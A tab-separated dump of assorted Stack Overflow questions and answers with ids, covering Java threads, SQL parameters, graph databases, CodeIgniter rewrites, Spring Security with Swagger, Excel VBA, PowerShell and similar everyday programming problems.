13732018	0	Java Thread interrupt(). Is it normal exception? <p>I am starting my Thread like this: </p> <pre><code>public void startTask(Runnable r) { running = true; Log.i(tag, "-----------start.Runnable-----------"); final Thread first = new Thread(r); currentTask = first; first.start(); Thread second = new Thread(new Runnable() { @Override public void run() { try{ first.join(); } catch(InterruptedException e){ } running = false; } }); second.start(); } </code></pre> <p>And when I want to cancel current operation, I am doing such with a Theread according to this article: <a href="http://forward.com.au/javaProgramming/HowToStopAThread.html" rel="nofollow">http://forward.com.au/javaProgramming/HowToStopAThread.html</a> :</p> <pre><code>public void cancelTask() { Log.i(tag, "-----------cancelTask()-----------"); try{ currentTask.interrupt(); running = false; } catch(SecurityException e){ e.printStackTrace(); } } </code></pre> <p>Application is still running after cancelTask, but I have exception: </p> <pre><code>12-05 20:29:00.274: W/System.err(13533): java.lang.InterruptedException 12-05 20:29:00.274: W/System.err(13533): at java.lang.VMThread.sleep(Native Method) 12-05 20:29:00.294: W/System.err(13533): at java.lang.Thread.sleep(Thread.java:1047) 12-05 20:29:00.294: W/System.err(13533): at java.util.concurrent.TimeUnit.sleep(TimeUnit.java:331) 12-05 20:29:00.304: W/System.err(13533): at com.rsd.myfirstapp3.ProgressServiceActivity$2.run(ProgressServiceActivity.java:174) 12-05 20:29:00.314: W/System.err(13533): at java.lang.Thread.run(Thread.java:864) </code></pre> <p>.</p> <p><strong>Is it normal exception in such operations with threads?</strong> </p>
4411065	0	 <p><code>ShellExecute</code> or <code>CreateProcess</code> should be able to open link file. If they can't find the associated file and/or the program, you can always use those API and delegate the hard work to "cmd start" or "explorer". E.g. <code>ShellExecute(0, "open", "explorer", linkfile, 0, SW_SHOW);</code></p>
4322916	0	 <p>No, null values are not set to the default, as null is itself a valid value for a variable or field in SQL.</p> <p>To ensure a parameter gets its default value, do not pass in the parameter at all. So for your proc:</p> <pre><code>-- @myVar will get default EXEC TestVarcharMaxIsNull -- @myVar will be null EXEC TestVarcharMaxIsNull @myVar=NULL -- @myVar will be "Hello" EXEC TestVarcharMaxIsNull @myVar='Hello' </code></pre>
35408345	0	Need advice to choose graph database <p>I'm looking for options for graph database to be used in a project. I expect to have ~100000 writes (vertix + edge) per day. And much less reads (several times per hour). The most frequent query takes 2 edges depth tracing that I expect to return ~10-20 result nodes. I don't have experience with graph databases and want to work with gremlin to be able to switch to another graph database if needed. Now I consider 2 possibilities: neo4j and Titan.</p> <p>As I can see there is enough community, information and tools for Neo4j, so I'd prefer to start from it. Their capacity numbers should be enough for our needs (∼ 34 billion nodes, ∼ 34 billion edges). But I'm not sure which hardware requirements will I face in this case. Also I didn't see any parallelisation options for their queries.</p> <p>On the other hand Titan is built for horizontal scalability and has integrations with intensively parallel tools like spark. So I can expect that hardware requirements can scale in a linear way. But there is much less information/community/tools for Titan.</p> <p>I'll be glad to hear your suggestions</p>
22755488	0	Best way to store ROE in C# <p>I want to save Rate of Exchange of all currencies corresponding different base currency. What is the best and efficient type or struct to save the same. Currently i am using</p> <pre><code>Dictionary&lt;string, Dictionary&lt;string, decimal&gt;&gt;(); </code></pre> <p>Thanks in advance. Please suggest</p>
16255864	0	uncrustify adds space between double-paranthesis (C/Objective-C) <p>I'm having a very peculiar issue with uncrustify (v0.60) that no option seems to affect. The issue only occurs when there are parenthesis enclosed within parenthesis:</p> <pre><code>// from a C header file: #define BEGIN_STACK_MODIFY(L) int __index = lua_gettop( (L) ); ^ ^ // from an ObjC (.m) implementation file: if ( (self = [super init]) ) ^ ^ </code></pre> <p>I want to reformat those to look like this, but uncrustify always adds those spaces between parenthesis (when I manually reformat to the code below, uncrustify will reformat it to the version above, so it's not just being ignored by uncrustify):</p> <pre><code>// from an ObjC header file: #define BEGIN_STACK_MODIFY(L) int __index = lua_gettop((L)); // from an ObjC (.m) implementation file: if ((self = [super init])) </code></pre> <p>I used UncrustifyX to check all (well, a great number of) variations of possibly related settings for spaces and parenthesis with no luck.</p> <p>You can check my <a href="https://gist.github.com/LearnCocos2D/5474209" rel="nofollow">uncrustify config file here on gist</a>.</p> <p>If you have any idea what settings I should try, or perhaps settings that may be in conflict with each other, I'd be happy to test it.</p>
5825887	0	 <p>Try setting it on the NSTextView's layer, not the NSTextView itself.</p> <pre><code>[[myTextView layer] setCornerRadius:10.0f]; </code></pre>
20329948	0	Inset a new field in an array of sub-document <p>I have the following schema:</p> <pre><code>{ "name" : "MyName", "actions" : [{ "kind" : "kind1", "result" : "result1" }, { "kind":"kind1", "result":"result1" } ] } </code></pre> <p>I want to insert a new field called 'expected' in different subdocument in actions. I tried the following command but I have an issue with it:</p> <pre><code>db.tasks.update({},{$push:{ "actions.expected" : "MyExpected" }},false,true) can't append to array using string field name expected </code></pre>
20836263	0	 <pre><code>if __name__ == "__main__": MLL = LinkedList() LL1 = LinkedList() LL2 = LinkedList() array_list1 = [2, 4, 5, 7, 11, 12, 15, 20] array_list2 = [3, 6, 9, 10] for p in array_list1: LL1.addElement(p) for q in array_list2: LL2.addElement(q) cur_node_l1 = LL1.Head cur_node_l2 = LL2.Head cur_node = MLL.Head; while(cur_node_l1 and cur_node_l2): e1 = cur_node_l1.element e2 = cur_node_l2.element if e1 &lt; e2: if not cur_node: cur_node = cur_node_l1; MLL.Head = cur_node else: cur_node.Next = cur_node_l1; cur_node = cur_node_l1 cur_node_l1 = cur_node_l1.Next # MLL.TAIL = cur_node_l1; else: if not cur_node: cur_node = cur_node_l2; MLL.Head = cur_node else: cur_node.Next = cur_node_l2; cur_node = cur_node_l2; cur_node_l2 = cur_node_l2.Next # MLL.TAIL = cur_node_l2; if (cur_node_l1): cur_node.Next = cur_node_l1 cur_node = LL1.Tail; if (cur_node_l2): cur_node.Next = cur_node_l2 cur_node = LL2.Tail; MLL.Tail = cur_node MLL.size = LL1.size + LL2.size MLL.displayLinkedList() </code></pre>
18617150	0	why does this output hex rather than a sentence? connector/c++ <p>I was expecting to see a short english sentence as output but i see hex value of it instread. I cannot find any information on this getblob function but i hear its what should be used for varchar columns. Before i used getString and it crashes the app, its funny though becuase it crashes after it successfully prints the sentence sometimes. However i cant have it crashing so i need to make it work with getblob, it returns an std::istream which i no nothing about. I experimented with converting istream to string but my lack of understanding of what an isteam is did not get me far.</p> <pre><code>#include &lt;iostream&gt; #include &lt;sstream&gt; #include &lt;memory&gt; #include &lt;string&gt; #include &lt;stdexcept&gt; #include "cppconn\driver.h" #include "cppconn\connection.h" #include "cppconn\statement.h" #include "cppconn\prepared_statement.h" #include "cppconn\resultset.h" #include "cppconn\metadata.h" #include "cppconn\resultset_metadata.h" #include "cppconn\exception.h" #include "cppconn\warning.h" #include "cppconn\datatype.h" #include "cppconn\parameter_metadata.h" #include "mysql_connection.h" #include "mysql_driver.h" using namespace std; int main() { sql::mysql::MySQL_Driver *driver; sql::Connection *con; sql::Statement *stmt; // ... driver = sql::mysql::get_mysql_driver_instance(); cout&lt;&lt;"Connecting to database...\n"; con = driver-&gt;connect("tcp://xx.xxx.xxx.xxx:3306", "xxxxx", "xxxxxx"); sql::ResultSet *res; // ... stmt = con-&gt;createStatement(); // ... con-&gt;setSchema("mrhowtos_main"); res = stmt-&gt;executeQuery("SELECT english FROM `eng` WHERE `ID` = 16;"); while (res-&gt;next()) { istream *stream = res-&gt;getBlob(1); string s; getline(*stream, s); //crashes here - access violation cout &lt;&lt; s &lt;&lt; endl; } cout&lt;&lt;"done\n"; delete res; delete stmt; delete con; system("PAUSE"); return 0; } </code></pre> <p>UPDATE: crashes on getline</p> <p>value of stream after getblob:</p> <ul> <li>stream 0x005f3e88 {_Chcount=26806164129143632 } std::basic_istream > *</li> </ul>
23560397	0	 <p>Simply: </p> <pre><code>rerun --pattern '{Gemfile.lock,config/application.rb,config/environment.rb,config/environments/development.rb,config/initializers/*.rb,lib/**/*.rb,config/**/*.yml}' --no-growl --signal INT --background --clear -- rails s </code></pre> <p>won't work?</p>
17095480	0	Get Host of HttpResponseMessage in Windows Store App <p>I have a Windows Store App (C#) where I am sending a HttpRequest and I want to check if the response I am getting is from a Captive/Limited Access Network or from the actual host specified in the HttpRequest. </p> <p>So lets say I am sending a request to www.serverA.com I look at the response of that request and determine if it was success based on the status code.</p> <p>Imagine the same scenario in a captive network(airport networks/starbucks where they redirect you to a login page):</p> <ul> <li>I am sending a request to www.serverA.com </li> <li>My request gets redirected to www.serverB.com/AirPortLoginPage </li> <li>I get back a response that the AirportLoginPage loaded successfully with a 200 response</li> <li>My code sees that as a success because of the 200 status code, but I wanted to know if my original request was successful</li> </ul> <p>So, is there a way to determine the host of the server where the Response Message is coming from?</p>
34820819	0	Unable to remove index.php in Codeigniter <p>I want to remove index.php to access my controllers directly. However, I cannot directly go my controller. I have to use index.php. For example: I want to go <a href="http://example.com/my_controller/method" rel="nofollow">http://example.com/my_controller/method</a> instead of <a href="http://example.com/index.php/my_controller/method" rel="nofollow">http://example.com/index.php/my_controller/method</a></p> <p>By the way, I used my test server, not local server like XAMPP. I enabled apache mod rewrite in my server. </p> <p>I tried a lot of htaccess rules, conditions but I cannot work it. Please help me!</p> <p>This is my .htaccess file:</p> <pre><code>&lt;IfModule mod_rewrite.c&gt; RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ index.php/$1 [L] &lt;/IfModule&gt; </code></pre> <p>my config.php:</p> <pre><code>$config['index_page'] = ''; $config['uri_protocol'] = 'REQUEST_URI'; </code></pre> <p>How can I go directly?</p>
36399800	0	How can I make a TimerJob going to retrieve the users present in the AD? <p>what I want to do is retrieve users from AD , and update an address book on SharePoint Server 2013. thanks</p>
3785883	0	 <p><code>StringBuffer</code> - introduced in JDK 1.0 - is thread safe (all of its methods are <code>synchronized</code>), while <code>StringBuilder</code> - since JDK 1.5 - is not. Thus it is recommended to use the latter under normal circumstances.</p> <p><code>StringTokenizer</code> is meant for a whole different purpose then the former two: cutting strings into pieces, rather than assembling. As @Henning noted, it is also "retired" since JDK 1.5 - it is recommended to use <code>String.split</code> instead.</p>
1138262	0	 <p>Hard to say.</p> <ul> <li>Massive parallel queries?</li> <li>Thousands of small ones?</li> <li>OLTP or warehouse?</li> <li>CPU or IO or Memory bound?</li> <li>Server hardware and settings? MAXDOP, RAID etc</li> <li>Same set of data? (in buffer pool or lots of churning of in-memory data)</li> </ul> <p>We have 100 million rows tables with sub 1 second aggregate queries running many time during working hours, and 10,000 rows table queries that take 20 seconds but only run once at 4am.</p>
6874494	0	Calling a living object from one Process while running in another Process <p>Not really sure how to ask this question because I really don't know what I'm talking about. I have two DLLs (.NET), each is an AddIn that runs in two different application processes i.e. application one loads DLL one and application two loads DLL two. I wanted these DLLs to be able to communicate while loaded. In each DLL, I know the exact class that will be instantiated by the host process and I want these two living objects in each process to be able to communicate (call methods on each other). This seems like it would be possible. Has anyone done something like this before?</p>
20216083	0	 <p>Use <strong>String</strong> replaceAll method with following pattern:</p> <p><strong>Pattern</strong></p> <pre><code>(?&lt;=\.).*(?=\?) </code></pre> <p><strong>Code</strong></p> <pre><code>String s = "blah.t!@Z8-st?asdas"; System.out.println(s.ReplaceAll("(?&lt;=\\.).*(?=\\?)", "")); </code></pre>
725060	0	 <p>Does it have to be an actual enum? How about using a <code>Dictionary&lt;string,int&gt;</code> instead?</p> <p>for example </p> <pre><code>Dictionary&lt;string, int&gt; MyEnum = new Dictionary(){{"One", 1}, {"Two", 2}}; Console.WriteLine(MyEnum["One"]); </code></pre>
22736726	0	 <p>I tested the following methods for 10M strings to count "," symbol.</p> <pre><code>// split a string by "," public static int nof1(String s) { int n = 0; if (s.indexOf(',') &gt; -1) n = s.split(",").length - 1; return n; } // end method nof1 // count "," using char[] public static int nof2(String s) { char[] C = s.toCharArray(); int n = 0; for (char c : C) { if (c == ',') n++; } // end for c return n; } // end method nof2 // replace "," and calculate difference in length public static int nof3(String s) { String s2 = s.replaceAll(",", ""); return s.length() - s2.length(); } // end method nof3 // count "," using charAt public static int nof4(String s) { int n = 0; for(int i = 0; i &lt; s.length(); i++) { if (',' == s.charAt(i) ) n++; } // end for i return n; } // end method nof4 // count "," using Pattern public static int nof5(String s) { // Pattern pattern = Pattern.compile(","); // compiled outside the method Matcher matcher = pattern.matcher(s); int n = 0; while (matcher.find() ) { n++; } return n; } // end method nof5 </code></pre> <p>The results:</p> <pre><code>nof1: 4538 ms nof2: 474 ms nof3: 4357 ms nof4: 357 ms nof5: 1780 ms </code></pre> <p>So, charAt is the fastest one. BTW, <code>grep -o ',' | wc -l</code> took 7402 ms.</p>
33268121	0	Font formatting performance in Excel 2007 <p>I have macro which sets font for whole range to size 9:</p> <pre><code>Range("A1:Z20000").Font.Size = 9 </code></pre> <p>When I run it on Excel 2010 or 2013 it takes approximately 1 second to process (there's almost no formatting on range). But when I run it on Excel 2007 it takes 15+ seconds to process this single line of code. I couldn't find any article regarding this, but obviously MS fixed it in newer versions of Office (Excel). </p> <p>Is there a way to set font size for a big range (500,000+ cells) in Office 2007 without killing performance?</p>
9315982	0	Java Swing: Changing border width/height on BorderLayout <p>I am a newbie to Java Swing. I am trying to make a frame containing three buttons; one in the center, another on the top, and the last one on the right. I want to make the NORTH and EAST borders the same width. But right now, the EAST border is wider than the NORTH border.</p> <p>I was wondering if there was a way of changing the width of the WEST/EAST borders or the height of the NORTH/SOUTH borders, in BorderLayout. </p>
34386337	0	Documenting Spring's login/logout API in Swagger <p>I am developing demo REST service using <code>Spring Boot</code> where user has to login in order to to perform certain subset of operations. After adding <code>Swagger UI</code> (using <code>springfox</code> library) with that simple configuration:</p> <pre><code>@Bean public Docket docApi() { return new Docket(DocumentationType.SWAGGER_2) .select() .apis(any()) .paths(PathSelectors.ant("/api/**")) .build() .pathMapping("/") .apiInfo(apiInfo()) .directModelSubstitute(LocalDate.class, String.class) .useDefaultResponseMessages(true) .enableUrlTemplating(true); } </code></pre> <p>I end up with all apis with all operations listed on <code>Swagger UI</code> page. Unfortunately I don't have login/logout endpoints listed among them.</p> <p>The problem is that part of that operations cannot be performed via <code>Swagger UI</code> built-in form (I find it really nice feature and would like make it work), because user is not logged in. Is there any solution to that problem? Can I define manually some endpoints in <code>Swagger</code>?</p> <p>If there was a form to submit credentials (i.e. login/logout endpoints) I could perform authorization before using that secured endpoints. Then, <code>Swagger</code> user could extract <code>token/sessionid</code> from response and paste it to custom query parameter defined via <code>@ApiImplicitParams</code>.</p> <p>Below you can find my security configuration:</p> <pre><code>@Override protected void configure(HttpSecurity http) throws Exception { http .formLogin() .loginProcessingUrl("/api/login") .usernameParameter("username") .passwordParameter("password") .successHandler(new CustomAuthenticationSuccessHandler()) .failureHandler(new CustomAuthenticationFailureHandler()) .permitAll() .and() .logout() .logoutUrl("/api/logout") .logoutSuccessHandler(new CustomLogoutSuccessHandler()) .deleteCookies("JSESSIONID") .permitAll() .and() .csrf() .disable() .exceptionHandling() .authenticationEntryPoint(new CustomAuthenticationEntryPoint()) .and() .authorizeRequests() .and() .headers() .frameOptions() .disable(); } @Override protected void configure(AuthenticationManagerBuilder auth) throws Exception { auth .userDetailsService(userDetailsService) .passwordEncoder(passwordEncoder()); } </code></pre>
34351478	0	 <p>I now did it with unbinding the function on 'a's.</p> <pre><code>$('a').hover( function () { $('#tooltip').hide().addClass("hover"); ... </code></pre> <p>and</p> <pre><code>$("body").on( "click", function() { .... }); $("a").click(function() { $("body").off("click"); }); </code></pre>
32801723	0	 <p>Running JavaScript on backend requires NodeJS runtime environment. Download it here <a href="https://nodejs.org/en/" rel="nofollow">https://nodejs.org/en/</a></p> <p>Alternatively you can can configure an instance on Heroku and run your application there. But I would suggest to try the first one.</p>
23157933	0	Scala Override Return Type <p>I have a task in which I need to override the return type of a method. The problem is the method is called yet the return type is not overridden. Please help!</p> <pre><code>abstract class Parser { type T1 &lt;: Any; def test1(): T1; type T2 &lt;: String; def test2(): T2; } //class path: parser.ParserA class ParserA extends Parser { type T1 = String; override def test1(): T1= { return "a,b,c"; } type T2 = String; override def test2(): T2= { return "a,b,c"; } } //some where in the project val pa = Class.forName("parser.ParserA").newInstance().asInstanceOf[Parser]; println(pa.test1().length());// error: value length is not a member of pa.TYPE_4 println(pa.test2().length());// this works, print 5; </code></pre> <p>Please Help! Thank you in advance!</p>
38350373	0	 <p>If I understand correctly, the behavior you want is to drop each of your columns market with class="col" into a row, when your media query for small screens comes into effect.</p> <p>First of all, Outlook will strip out all in-line styling (as you noticed using F12), so best to double that up using the equivalent html attributes for each of your elements. </p> <p>Secondly, max-width is not supported by Outlook (and Lotus Notes 8 &amp; 8.5), so you will need to wrap each of your <code>&lt;table&gt;</code>s that are inside you 'col' columns into conditional code which creates a table with a set width to hold everything in, that targets IE and Microsoft Outlook. You will need to use something like:</p> <pre><code>&lt;!--[if (gte mso 9)|(IE)]&gt; &lt;table width="525" align="left" cellpadding="0" cellspacing="0" border="0"&gt; &lt;tr&gt; &lt;td&gt; &lt;![endif]--&gt; &lt;table style="table-layout: auto; background-color: white; padding-left: 10px; padding-right: 10px;" border="0" cellpadding="0" cellspacing="0" width="100%"&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td style="padding-top: 15px;padding-right: 20px;padding-bottom: 0;padding-left: 20px;font-size: 26px;line-height: 30px;font-weight:400; font-family: Arial, sans-serif; color: #0056a6;" align="left"&gt;&lt;img src="/resources/handlers/dcimage.ashx" style="height: auto; display: inline;" border="0"&gt;,&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td style="padding-top: 15px;padding-right: 20px;padding-bottom: 20px;padding-left: 20px; font-size: 14px; font-weight:normal; line-height: 14px; font-family: Arial, sans-serif; color: #2d353d;" align="left"&gt; LOREM IPSUM &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;!--[if (gte mso 9)|(IE)]&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;![endif]--&gt; </code></pre> <p>I would strongly recommend following this <a href="http://webdesign.tutsplus.com/articles/creating-a-simple-responsive-html-email--webdesign-12978" rel="nofollow">guide to build responsive emails that work on all major mail clients</a> for a more in-depth explanation of this, and also other very useful tricks for making email work even on Outlook :)</p>
1285100	0	 <p>You can alter the temp path for the XMLSerializer explicitly without having to change the environment variables for the machine. To do this, put </p> <pre><code>&lt;xmlSerializer tempFilesLocation="c:\\newTemp"/&gt; </code></pre> <p>in you app.config file. </p> <p>Scott Hanselman has an article entitled "<a href="http://www.hanselman.com/blog/ChangingWhereXmlSerializerOutputsTemporaryAssemblies.aspx" rel="nofollow noreferrer">Changing where XmlSerializer Outputs Temporary Assemblies</a>" about it.</p>
7235961	0	 <p>You can have multiple programs in a shader, but not the other way around.</p> <p>To make multiple combinations, the easiest way is to store each major chunk as a fragment with a named entry point, then include them from another program or combine them at runtime into a single program, calling them in the order you need. That can get messy though, when handling input and outputs.</p> <p>You can use multiple passes, with different effects and programs in each pass. That has some additional overhead, but can be easier to set up.</p>
18169635	0	 <p>jBilling has both installation guides (for <a href="http://www.jbilling.com/documentation/users/installation/windows" rel="nofollow">windows</a> and for <a href="http://www.jbilling.com/documentation/users/installation/mac-linux" rel="nofollow">mac/linux</a>) and a <a href="http://www.jbilling.com/documentation/users/getting-started/mediation" rel="nofollow">Getting Started Guide</a> on their website that list each step and walk you through the process. Try starting with those.</p>
9959678	0	 <p>Try the following:</p> <pre><code>return int(float(value) / float(total) * 100.0) </code></pre> <p>to ensure that both value and total are float. This way strings could be passed in and still get a proper answer.</p>
5503463	0	 <p>Dates and times in Excel are stored as floating point numbers. Dates are days since 1900 (a date of 1 is 01/01/1900), and times are fractions of a day (so 0.5 is 12 hours).</p> <p>Depending on what format you need the value to be in before you put it in a database, then you might just want to take the numeric value and multiple by 24 to get the hours and fractional hours, eg:</p> <pre><code>double time = cell.getNumericCellValue() * 24; int hours = (int)time; int minutes = (time - hours) * 60; </code></pre> <p>Alternately, if you want a string, then the DataFormatter class will happily format a value of 1.5 as HH:MM to 36:00</p>
33205298	0	How to use Powershell to download a script file then execute it with passing in arguments? <p>I usually have this command to run some powershell script:</p> <p><code>&amp; ".\NuGet\NuGet Package and Publish.ps1" -Version $env:appveyor_build_version -NuGet "C:\Tools\NuGet\nuget.exe" -apiKey $env:apiKey</code></p> <p>works fine but the script is found locally on my server. </p> <p>I'm hoping to say: run this script with arguments, etc.. fine .. but the script is located as a GIST or in some GitHub public repo.</p> <p>Is this possible?</p>
24817352	0	 <p>Redirect the output to <code>/dev/null</code>:</p> <pre><code>if pmset -g | grep pre &gt;/dev/null 2&gt;&amp;1 ; then pmset -g | grep pre | cut -d'(' -f2 | cut -d')' -f1 else printf "Nothing\n" fi </code></pre>
8295816	0	How to Create an excel dropdown list that displays text with a numeric hidden value <p>I am trying to create a drop down list that displays text with a hidden numerical value attached. Then I will have a standard formula on the same row that calculates a value based upon the hidden value selected.</p>
38586495	0	ubuntu 16.04 rails 5 passenger nginx, node.js don't work as javascript runtime <p>Hy there, I'm working ours and don't find the solution.</p> <p>When I'm starting rails 5 with puma on ubuntu 16.04 in development mode, everything works fine, node.js works as JavaScript runtime.</p> <p>But when im starting the same application with nginx and passenger in production (precomiled with RAILS_ENV=production) I become the message: "Message from application: There was an error while trying to load the gem 'uglifier'. Gem Load Error is: Could not find a JavaScript runtime."</p> <p>I know that I can use the gem 'therubyracer' but for some reasons I don't want.</p> <p>Do somebody has an idea why node.js don't work with nginx and passenger.</p> <p>Thanks ahead for every suggestion! </p>
23368691	0	 <p><code>var secondCharFromTheLeft = packageAData[1];</code></p> <p>He asked how to get the second char, that gives the second element in the array, not much more you can say about it.</p>
11792203	0	 <p>Like written in the comment. This just seemed to be a <em>random</em> phenomenon.</p>
25249191	0	For Each Row in Range - Incorrect Row Iteration <p>I'm creating a single-column index file from multi-row/-cell source data in Excel. I have two worksheets - a source and destination - in a single workbook. Iterating through each row (11 in dev, ~15,000 in prod) of the source worksheet the <code>For Each</code> loop I wrote should:</p> <ul> <li>Find the first empty cell in Column A of the destination worksheet</li> <li>Use <code>LastCell.Value =</code> to input a set value in that cell</li> <li>Use <code>LastCell.Offset(r, c).Value =</code> to pair a set value with a copied value from each cell in a single row of the source worksheet to the next destination cell down. There are eight to be copied and a ninth that is set</li> </ul> <p>The loop works perfectly <strong>once</strong>, then fails to iterate to the next row. Each subsequent loop shifts copied values up by one and leaves the set values, with blanks, in place. It does this once for each cell in the source row and only after that does it move on to the next row down.</p> <p>When I say set value I'm referring to what is in quotes, and copied values are those of the <code>Row.Offset</code>.</p> <p>The code is:</p> <pre><code>Sub Export_Index_File() Dim wb As Workbook Dim ws1 As Worksheet, ws2 As Worksheet Dim sr As Range Set wb = ActiveWorkbook Set ws1 = wb.Worksheets("Source Data") Set ws2 = wb.Worksheets("Index File") Set sr = ws1.Range("A2:H13") For Each Row In sr.Cells Set LastCell = ws2.Cells(ws2.Rows.Count, "A").End(xlUp).Offset(1) LastCell.Value = "Begin Doc" LastCell.Offset(1, 0).Value = "Account Number: " &amp; Row.Offset(0, 0).Value LastCell.Offset(2, 0).Value = "Account Type: " &amp; Row.Offset(0, 1).Value LastCell.Offset(3, 0).Value = "Date: " &amp; Row.Offset(0, 2).Value LastCell.Offset(4, 0).Value = "Doc Type: " &amp; Row.Offset(0, 3).Value LastCell.Offset(5, 0).Value = "File Path: " &amp; Row.Offset(0, 4).Value LastCell.Offset(6, 0).Value = "Institution: " &amp; Row.Offset(0, 5).Value LastCell.Offset(7, 0).Value = "Name: " &amp; Row.Offset(0, 6).Value LastCell.Offset(8, 0).Value = "TIN: " &amp; Row.Offset(0, 7).Value LastCell.Offset(9, 0).Value = "End Doc" Next Row End Sub </code></pre> <p>Here are two output examples. Successful on the left, unsuccessful on the right:</p> <pre><code>Begin Doc |Begin Doc Account Number: 123456 |Account Number: Checking Account Type: Checking |Account Type:01/01/2001 Date: 01/01/2001 |Date: Statement Doc Type: Statement |Doc Type: 123456.pdf File Path: 123456.pdf |File Path: 123 Institution: 123 |Institution: Jane Doe Name: Jane Doe |Name: 123-45-6789 TIN: 123-45-6789 |TIN: End Doc |End Doc </code></pre> <p>Notice the one-line shift up. To fix this, I changed the loop to read <code>For Each Row In sr.Rows</code> but received Type 13 Mismatch errors. </p> <p>I copied this code from a working spreadsheet before expanding it to include more rows. It is nearly identical to the working code. What am I doing wrong?</p>
14390056	0	 <p>one possibility:</p> <p>open your mysql/bin/my.ini, change </p> <p><code>max_allowed_packet = 1M</code> under both [mysqld] and [mysqldump] </p> <p>to</p> <pre><code>max_allowed_packet = 100M </code></pre>
301838	0	 <p>Not sure if this counts as debugging, but for C and Objective-C code I find the <a href="http://clang.llvm.org/StaticAnalysis.html" rel="nofollow noreferrer">LLVM/Clang Static Analyzer</a> to be invaluable. Helps spot bugs, memory leaks and logical errors even before you see their effects.</p>
10276095	0	 <p>Yes this is possible, you simply have to specify the transport when initializing the Bus:</p> <pre><code> var config = Configure.With() .SpringBuilder() .AzureConfigurationSource() &lt;--- Don't use this when working on premise. .XmlSerializer() .UnicastBus() .LoadMessageHandlers() .AzureQueuesTransport() &lt;--- Configure Azure Storage Queues .IsTransactional(true) .PurgeOnStartup(false) .InMemorySubscriptionStorage(); </code></pre> <p>For the documentation part, I suggest you take a look on github: <a href="https://github.com/NServiceBus/NServiceBus/tree/master/Samples/Azure" rel="nofollow">https://github.com/NServiceBus/NServiceBus/tree/master/Samples/Azure</a></p> <p>Note that most of these samples are meant to run in Windows Azure, hence the use of the <strong>AzureConfigurationSource</strong>. This won't work when you're running on premise since it uses settings from the RoleEnvironment. Don't use <strong>AzureConfigurationSource</strong> when working on premise.</p>
17907540	0	 <p>"upload" here <code>$_FILES['upload']</code> refers to the name of the file field in the form.<br> you are only ckecking if a file from the file field named upload has been uploaded <br> <br> did you maybe name the first upload field in the form differently?</p>
35537450	0	Rails: define a method to have advanced data from the db <p>I have a model named <code>Category</code>. I also have a model named <code>Todo</code> (in this model there is <code>boolean</code> column <code>completed</code>).</p> <pre><code>Category has_many :todos Todo belongs_to :category </code></pre> <p>I want to print to view all categories and for each category, how many todo are completed and how many are not are completed</p> <p>How can I do this?</p> <p>Thanks!</p>
18614756	0	 <p>Use the standard vibrate method with patterns parameter</p> <pre><code>public abstract void vibrate (long[] pattern, int repeat) </code></pre> <p>Pass in an array of ints that are the durations for which to turn on or off the vibrator in milliseconds. The first value indicates the number of milliseconds to wait before turning the vibrator on. The next value indicates the number of milliseconds for which to keep the vibrator on before turning it off. Subsequent values alternate between durations in milliseconds to turn the vibrator off or to turn the vibrator on.</p> <p>To cause the pattern to repeat, pass the index into the pattern array at which to start the repeat, or -1 to disable repeating.</p> <p>This method requires the caller to hold the permission VIBRATE.</p> <p>Parameters pattern an array of longs of times for which to turn the vibrator on or off. repeat the index into pattern at which to repeat, or -1 if you don't want to repeat.</p>
19361910	0	 <blockquote> <p>But is this all the settings can do?</p> </blockquote> <p>Yes, all possible <code>settings</code> are mentioned in <a href="http://underscorejs.org/#template">the docs</a>. You can read the <a href="http://underscorejs.org/docs/underscore.html#section-134">annoted source</a> as well.</p> <blockquote> <p>Can you provide a full list of keys and their meanings for the settings object?</p> </blockquote> <ul> <li><code>interpolate</code>: regex to match expressions that should be interpolated verbatim</li> <li><code>escape</code>: regex to match expressions that should be inserted after being HTML escaped</li> <li><code>evaluate</code>: regex to match expressions that should be evaluated without insertion into the resulting string.</li> <li><code>variable</code>: A variable name to access the data as properties, instead of using a <code>with</code> statement</li> </ul> <blockquote> <p>And is it possible to compile settings into a template?</p> </blockquote> <p>Yes. Simply pass any falsy value (<code>null</code>, <code>undefined</code>, <code>false</code>, …) for <code>data</code> and the method will return a template function instead of rendering it right away.</p>
35666712	0	Wix like site builder creation project <p>I am building a system like wix where user will able to create site and connect with their domain. But I am confused about apache configurations and domain mapping. Every users build sites files saved in different directory on server. But how can I configure apache to locate each site directory for each domain? Is it possible to edit apache configuration from php script? Please provide your own opinion….</p>
30959005	0	 <p>In fact, your question can be merely resolved through an underrated characteristic of <code>box-shadow</code>:</p> <blockquote> <p>The ‘box-shadow’ property attaches <strong>one or more</strong> drop-shadows to the box. The property takes a comma-separated list of shadows, <strong>ordered front to back</strong>. Each shadow is given as a &lt;shadow>, represented by 2-4 length values, an optional color, and an optional ‘inset’ keyword.<br> &lt;shadow&gt; = inset? &amp;&amp; {2,4} &amp;&amp; ?</p> </blockquote> <p>Your current <code>box-shadow: 0 2px 10px 0 rgba(0, 0, 0, 0.16)</code> is <strong>only one</strong> of the possible &lt;shadow&gt;s as stated above.</p> <p>You can simply prepend it with a first (so front) &lt;shadow&gt; with the desired characteristics, like:<br> <code>box-shadow: #fff 0 -5px, 0 2px 10px 0 rgba(0, 0, 0, 0.16)</code>, where the 1st instance has:</p> <ul> <li><code>#fff</code> has to be the same color as the master <code>&lt;ul&gt;</code> color</li> <li><code>0</code> makes no horizontal (right) shadow</li> <li><code>-5px</code>makes a vertical (natively down, but here up since the minus sign) shadow, which is just what you need to hide the top shadow generated by your previous unique (and now 2nd) instance </li> </ul> <p>Then you have to manage with your red <code>&lt;ul&gt;</code> border-bottom, because now it is hidden also: it's up to you to imagine which method to use for that.</p>
10288364	0	MySQL Find Full Name Across Two Rows <p>I have a MySQL table where I'm trying to find a person by his full name. The problem is that first and last name are stored on two separate rows in the table as shown here:</p> <pre><code>+-----------------+-------------+-------------+--------------+ | submit_time | form_name | field_name | field_value | +-----------------+-------------+-------------+--------------+ | 1323463601.0947 | Online Form | firstname | Paulo | | 1323463601.0947 | Online Form | lastname | Hill | +-----------------+-------------+-------------+--------------+ </code></pre> <p>How can I construct a query that will get a single result (if possible) by searching for Paulo Hill?</p> <p>Also, the submit_time column should have the same value for both rows--that will be the one column value that is unique in the table.</p>
